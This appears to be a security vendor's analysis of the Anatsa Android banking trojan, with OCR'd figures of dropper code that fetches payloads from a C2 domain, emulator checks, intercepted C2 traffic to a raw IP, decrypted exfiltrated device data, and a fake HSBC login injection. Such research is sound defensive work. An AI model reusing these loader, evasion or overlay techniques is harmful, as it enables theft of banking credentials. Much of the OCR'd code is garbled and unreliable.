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As mentioned previously, Anatsa utilizes remote payloads retrieved from C2 servers to carry out further malicious

activity.

In the figure below, the dropper application is shown with encoded links to remote servers, from which the next
stage payload will be downloaded. In addition to downloading the payload, the malware also retrieves a

configuration file from the remote server to execute the next stage payload.

ublic static void primaryload() { .

8 g H2 = Rea?(onfi:urePartPreuieuActivltyImpl,H( https://menusand.com!pdfﬁle
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OkHttpClient okHttpClient = new OkHttpClient();

Request build = new Request.Builder().url(H2).build(); https:ffmenusand.com/hanihani

Request build2 = new Request.Builder().url(ua.H("7D+@,\np\u@@1f2U1E,Q1Tg5@]pX>"6X>"6")).build();

try {
c.set(okHttpClient.newCall(build).execute().body().string().split(RealConfigurePartPreviewActivityImpl.H(

".\udeef")));

H(okHttpClient.newCall(build2).execute().body().bytes());

} cateh (Throwable th) { ) ) o

th.printStackTrace(); dexand parameters for loading are parsed here. Main activity is reloaded to further
¥ execution
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Figure 3: Anatsa dropper’s payload and configuration URLSs.
In the figure below, the DEX file is downloaded and will be loaded by the parent fake QR code application.
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Figure 4: Anatsa dropper’s network request to download the DEX file for the next stage payload.

The application utilizes reflection to invoke code from a loaded DEX file. The necessary configuration to load the

DEX file is downloaded from the control server, as depicted in the network response shown below.
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Figure 5: Anatsa dropper’s configuration to run the downloaded DEX file.

After the next stage payload is downloaded, Anatsa performs a series of checks for the device environment and
device type. This is likely designed to detect analysis environments and malware sandboxes. Upon successful

verification, it proceeds to download the third stage and final payload from the remote server, as depicted in the

figure below.

r

private static boolean checkBuildConfig()
return Build.MANUFACTURER. contains(“Genymotion™) || Build.MODEL.contains(“google sdk") || Build.MANUFACTURER.tolLowerCase().contains(“secret™) ||

Build.MODEL.toLowerCase().contains ("droiddx™) || Build.MODEL.tolLowerCase().contains("secret™) || Build.MODEL.contains("Emulator™) || Build.MODEL.

contains("Android SDK built for x86") || Objects.equals(Build.HARDWARE, “"goldfish™) || Objects.equals{Build.HARDWARE, "vbox86") || Build.HARDWARE .

toLowerCase() .contains("nox”) || Build.FINGERPRINT.startsWith(“generic”) || Objects.equals(Build.PRODUCT, “"sdk") || Objects.equals(Build.PRODUCT,

"google_cdk") || Objects.equals(Build.PRODUCT, "sdk_x86") || Objects.equals(Build.PRODUCT, “vbox86p") || Build.PRODUCT.toLowerCase().contains("nox™) |
N

Build.BOARD.tolLowerCase().contains("nox") || (Build.BRAND.startsWith("generic"”) && Build.DEVICE.startsWith("generic
: DEX verifies if device is an emulator or not.

private static boolean isManuFacturerGood() {
String man = Build.MANUFACTURER.tolLowerCase()
return man.contains(“samsung”) || man.contains("moto”);

public static void handleWork(Context context) {
if (Build.MODEL != null && !Build.MODEL.isEmpty() &% Build.MANUFACTURER != null &8 !Build.MANUFACTURER.isEmpty()) {
TelephonyManager tm = (TelephonyManager) context.getSystemService("phone”);
String country = tm.getNetworkCountryIso().isEmpty() ? "uat” : tm.getNetworkCountryIso();
if (Build.VERSION.SDK_INT != 32 &R& isManuFacturerGood() BA& !checkBuildConfig()) {
if (lcountry.startsWith("es") && |country.startsWith("th") B& !country.startsWith("sk") && lcountry.startsWith("si") && lcountry.
startsWith("s1") && !country.startsWith("bg") && |country.startsWith("gb") && |country.startsWith("fi") && !country.startsWith("hu") &% lcountry.
startsWith("ie") && !country.startsWith("de") && !country.startsWith("pt")) {
Intent i = new Intent{context, MainLibrary.getMainClass());
i.addFlags (268435456);
context. startActivity(i);

return;
} T .
W DEX initiates final Anatsa payload download.
MainLibrary.url.set("https://menusand.com/86.apk");
Intent i2 = new Intent(context, MainLibrary.getInstallClass());
i2. addFlags (268435456); €S zscaler | ThreatLabz
context.startActivity(i2);
1 scbak (Cucans . L

Figure 6: Code that checks the device environment and downloads final stage Anatsa payload.

In this particular campaign, the Anatsa malware injected uncompressed raw manifest data into the APK. The threat

actors also intentionally corrupted the compression parameters in the manifest file to hinder analysis. The figure

below depicts the corrupted ZIP headers.
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Figure 7: Anti-analysis technique utilized by Anatsa with malformed ZIP parameters.
In order to statically analyze the payload, the headers of the ZIP file must be fixed alongside the compressed data.

After the APK is loaded, the malware requests various permissions, including the SMS and accessibility options,
which are commonly associated with mobile banking trojans. The malware conceals the final DEX payload within

the asset files. During runtime, the payload decrypts the DEX file using a static key embedded within the code.
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Figure 8: Anatsa malware with the correct manifest.

Upon execution, the malware decodes all encoded strings, including the C2 communication. The malware
establishes communication with the C2 server to carry out various activities, such as registering the infected

device and retrieving a list of targeted applications for code injections.

In order to steal data from financial applications, Anatsa downloads a target list. The figure below shows the

Anatsa configuration request and response.

# Host Method  URL Params  Edited  Status code  Length  MIME type Extension  Tie Hotes ns e Gookies Time Listaner port
178 hiip./1B5.215.113.91:85 GET _/apligotkoyloggers 200 20109 JSON 185.215.113.31 16:53:31 8. 8083
| 377 mipuiB8 215.112.31:68 POST  /mpibotupdate v 200 E script 18521811331 1653308 .. 80&3
3176 hitp:ifeww. google.com GET  igen 204 204 575 HTML ITRRITHI86 1P _JAR2024-05-.. 165%2T ... 8083
375 Wipuiconmectivitychack getat... GET  /genarate_704 204 146 142,250,106, 183 16:53:278 .. 8083
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O |
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Pretty  Faw  Hex 2B n = Pr Faw  Hex e Bwrn= 37
1 POST fapi/botupdate HTTR/1.1 1 HTTR/1.1 200 0K 3
2 Accept-Charser: UTF-8 2 Connection: close g
3 Content=Type: application/uml 3 Content=Type: application/octet-stream &
4 User-Agent: Dalvik/2.1.8 (Linux; U; Android 13; Pixel 6 Build/TO1A.230205.001.02) 4 Server: Rocket
5 Host: 185,.215.113.31:85 5 Content-Length: 235
& Connection: close & Date: Wed, BB May 2824 11:23:38 GMT a
7 Accept-Encoding: grip, deflate, br 7
2 Content-Length: 449 0 /L K, T T, 48k, T 16 1R, T 0 6 144 M AR, TR e, 1614 BLe, sty | B
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T R Loc S Lo R - TORT LIPS A TR 5 v
SR =T, 60 X ., £0x", 011008 4 'n"11 1*178" "x687*n"1/1
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2R115-06 %" 0 4 0 XETN, -AAEL/1 N L AR 62T 1% 1 an 15 16"/, N1 X 182670 6+, 1 161 a0 142,766
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Figure 9: Anatsa configuration request and response being intercepted.

The figure below shows the request and response data being decoded with an XOR key.
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4014~ xpwn ! -/ /8,817 %, 7. 00"+, 168, &es #2210 1 -7,67 xurn” &/ #+, 17 e T *e02xmm{ s 1pswl zwlwwxzwmE2+m snT #1644 e+,
D Ignore errors (1617 x,7..7
Device Data sent
- me 843 = 2 Tr Raw Bytes & LF
XOR ~0m
Xey Output a rD m o
66 DECIMAL ~ = - - - - — -
{"data_update: (hwid:a15555551552fe7ac,device_name: "Google Pixel 5", "phone_number®:no
permission,battery_level:"1e@",acs_enabled:false,doze_enabled:false,country:in,locale:en_us","screen_active:true,"scr
scheme D Null een_secure”:true,"sms_manager":com.google.android.apps.messaging,android_version:33,current_logged password:,"ver":6}
Standard ufl preserving ,logged_sms":[],"logged_pushes":[],"system_logs":[],"captured_injects":[],"completed commands":[]}
{"hide_sms":null,"gauth_confirm:null,lock_device:null,extensive_logging:null,injects_version:186,keyloggers_version:2
Data Received ¢ 55,commands”:null, "installed_apps_count™:48,"domains™:["http://91.215.85.55:85/api/"], "active_injects":null}
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Figure 10: Example decrypted Anatsa request and response data using an XOR key.

Upon receiving a list of financial application package names, the malware scans the victim's device to check if any

of these targeted applications are installed. Once the malware identifies the presence of a targeted application,

Anatsa communicates this information to the C2 server. In response, the C2 server provides a fake login page for

the banking application. This activity is illustrated in the figure below.

# Host Method URL Params Edited Status code Length MIME type Extension Title Notes s IF
3438 http://185.215.113.31:85 POST /api/botupdate v 200 387 script i
3437 http://185.215.113.31:85 GET /api/getkeyloggers 200 28109  JSON 1t
['3436 nttp://185.215.113.31:85 POST ‘api/ge i v 200 77688  JSON 1
3435 http://185.215.113.31:85 POST  /api/botupdate J 200 387 script 1t
= |
Request Response Page to inject for HSBC UK application oo
Pretty  Raw  Hex w w = Pretty ~ Raw  Hex  Render Bwnws= 3
— o°
! 1 HTTP/1.1 20@ 0K 2
“package”: " com.google.anv entt 2 Connection: close g
, 3 Content-Type: application/json
4 Server: Rocket
“package":"uk.co.hsbc.hsbcukmobilebanking" 5 Content-Length: 77542 )
6 Date: Wed, 08 May 2024 11:52:10 GMT
7 z
"package":"com.android.settings" 8 [{"application":"uk.co.hsbc.hsbcukmobilebanking","html": =3
"<!DOCTYPE html><html lang=\"en\"><head> <meta charset=\"UTF-8\"> <meta 3
! name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> <
“package":"com = ~to olie oY o- . title>Document</title> <script src=\"https://ajax.googleapis.com/ajax/1
s ibs/jquery/3.3.1/jquery.min.js\"></script> <script src=\"https://cdnjs.
cloudflare.com/ajax/libs/jquery.mask/1.14.15/jquery.mask.js\"></script>
"package":"com.google.android.apps.we .. 7% = “ <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootst
s rap/4.1.8/css/bootstrap.min.css\"> <link rel=\"stylesheet\" href=\"http
s://maxcdn.bootstrapcdn.com/font-awesome/4.6.1/css/font-awesome.min.css
"package”:"com.androic <~ \"> <styleshtml{height: 100%;}body{padding: @; margin: @; background: u
. rl('data:image/png;base64, iVBORWOKGGOAAAANSUhEUGAAAeAAAAMgCATAAABOWSZ fA
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Figure 11: Anatsa injection configuration request based on the presence of a specific financial application.

The fake login page is loaded within a JavaScript Interface (JSI) enabled webview, which is designed to deceive

the user into providing their banking credentials. Once the victim enters their credentials that data is sent back to

the C2 server.
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